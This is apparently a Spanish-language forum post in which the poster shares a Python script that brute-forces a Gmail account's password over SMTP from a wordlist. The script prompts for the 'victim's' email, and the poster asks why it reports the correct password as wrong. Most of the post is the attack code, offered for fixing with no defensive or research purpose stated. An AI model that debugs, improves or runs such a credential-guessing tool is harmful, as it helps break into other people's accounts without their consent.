Estoy haciendo un script en Python que le hace fuerza bruta a una cuenta de Gmail mediante un diccionario y aunque en el diccionario este la contraseña correcta aun así me dice que es incorrecta no sé si es que Gmail quito la autentificación a aplicaciones de terceros porque el script usa SMTP para verificar y cuando se conecte al Gmail decirme que esa es la contraseña correcta pero no sé. Aquí les dejo el código para ver si es un error o algo.
Código:
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
print("\n")
email = input("Email de la victima: ")
dic = open("./diccionario.txt", "r")
for pwd in dic:
try:
smtpserver.login(email, pwd)
print ("Contraseña Correcta: %s" % pwd)
break;
except smtplib.SMTPAuthenticationError:
print ("Contraseña Incorrecta: %s" % pwd)